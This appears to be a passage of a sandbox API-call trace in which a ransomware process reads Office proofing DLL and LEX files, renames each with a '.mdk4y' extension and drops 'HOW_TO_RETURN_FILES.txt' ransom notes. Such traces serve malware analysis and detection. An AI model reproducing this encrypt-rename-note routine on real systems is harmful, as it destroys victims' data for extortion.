lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 1 [0236.194] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0236.194] AreFileApisANSI () returned 1 [0236.194] GetACP () returned 0x4e4 [0236.194] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 2 [0236.194] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0236.195] AreFileApisANSI () returned 1 [0236.195] GetACP () returned 0x4e4 [0236.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSGR3EN.DLL", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSGR3EN.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x88$l", lpUsedDefaultChar=0x37dec0) returned 11 [0236.195] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0236.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831142700000) returned 1 [0236.197] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0236.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831145200000) returned 1 [0236.222] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831145200000) returned 1 [0236.230] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll.mdk4y")) returned 1 [0236.233] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0236.233] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0236.249] AreFileApisANSI () returned 1 [0236.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0236.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0236.250] GetFileType (hFile=0xd8) returned 0x1 [0236.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.251] AreFileApisANSI () returned 1 [0236.251] GetACP () returned 0x4e4 [0236.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1036", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1036", lpUsedDefaultChar=0x37df4c) returned 4 [0236.251] AreFileApisANSI () returned 1 [0236.251] GetACP () returned 0x4e4 [0236.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\ŐhՐj\x04") returned 54 [0236.251] AreFileApisANSI () returned 1 [0236.251] GetACP () returned 0x4e4 [0236.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0236.252] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0236.252] AreFileApisANSI () returned 1 [0236.252] GetACP () returned 0x4e4 [0236.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0236.252] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0236.252] AreFileApisANSI () returned 1 [0236.252] GetACP () returned 0x4e4 [0236.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSGR3FR.DLL", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSGR3FR.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 11 [0236.252] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0236.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831152700000) returned 1 [0236.297] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0236.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831157300000) returned 1 [0236.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831157300000) returned 1 [0236.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll.mdk4y")) returned 1 [0236.359] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0236.359] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0236.359] AreFileApisANSI () returned 1 [0236.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0236.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0236.360] GetFileType (hFile=0xd8) returned 0x1 [0236.361] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.361] AreFileApisANSI () returned 1 [0236.361] GetACP () returned 0x4e4 [0236.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3082", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="3082", lpUsedDefaultChar=0x37df4c) returned 4 [0236.361] AreFileApisANSI () returned 1 [0236.361] GetACP () returned 0x4e4 [0236.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\ŐhՐj\x04") returned 54 [0236.361] AreFileApisANSI () returned 1 [0236.361] GetACP () returned 0x4e4 [0236.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0236.361] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0236.361] AreFileApisANSI () returned 1 [0236.361] GetACP () returned 0x4e4 [0236.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0236.361] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0236.361] AreFileApisANSI () returned 1 [0236.361] GetACP () returned 0x4e4 [0236.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSGR3ES.DLL", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSGR3ES.DLLefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 11 [0236.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0236.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831159300000) returned 1 [0236.363] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0236.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831162400000) returned 1 [0236.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1831162400000) returned 1 [0236.407] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll.mdk4y")) returned 1 [0236.410] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0236.410] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0236.411] AreFileApisANSI () returned 1 [0236.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0236.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0236.411] GetFileType (hFile=0xd8) returned 0x1 [0236.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.412] AreFileApisANSI () returned 1 [0236.412] GetACP () returned 0x4e4 [0236.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSGR3EN.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSGR3EN.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831164300000) returned 1 [0236.413] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0236.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831170700000) returned 1 [0236.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831170700000) returned 1 [0236.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex.mdk4y")) returned 1 [0236.560] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.560] AreFileApisANSI () returned 1 [0236.560] GetACP () returned 0x4e4 [0236.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSGR3ES.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSGR3ES.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.560] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831179100000) returned 1 [0236.561] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0236.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831182800000) returned 1 [0236.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831182800000) returned 1 [0236.607] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex.mdk4y")) returned 1 [0236.608] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.608] AreFileApisANSI () returned 1 [0236.608] GetACP () returned 0x4e4 [0236.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSGR3FR.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSGR3FR.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831184000000) returned 1 [0236.610] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19, lpOverlapped=0x0) returned 1 [0236.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831184000000) returned 1 [0236.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831184000000) returned 1 [0236.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3fr.lex.mdk4y")) returned 1 [0236.612] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.612] AreFileApisANSI () returned 1 [0236.612] GetACP () returned 0x4e4 [0236.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSHY7EN.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSHY7EN.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0236.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831184400000) returned 1 [0236.614] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36988, lpOverlapped=0x0) returned 1 [0236.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831186700000) returned 1 [0236.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831186700000) returned 1 [0236.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.dll.mdk4y")) returned 1 [0236.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.641] AreFileApisANSI () returned 1 [0236.641] GetACP () returned 0x4e4 [0236.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSHY7EN.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSHY7EN.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831187200000) returned 1 [0236.642] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x74200, lpOverlapped=0x0) returned 1 [0236.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831189400000) returned 1 [0236.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831189400000) returned 1 [0236.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.lex.mdk4y")) returned 1 [0236.670] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.670] AreFileApisANSI () returned 1 [0236.670] GetACP () returned 0x4e4 [0236.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSHY7ES.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSHY7ES.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0236.670] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831190100000) returned 1 [0236.671] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36988, lpOverlapped=0x0) returned 1 [0236.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831191500000) returned 1 [0236.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831191500000) returned 1 [0236.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.dll"), lpNewFileName="C:\\Program Files\\Microsoft 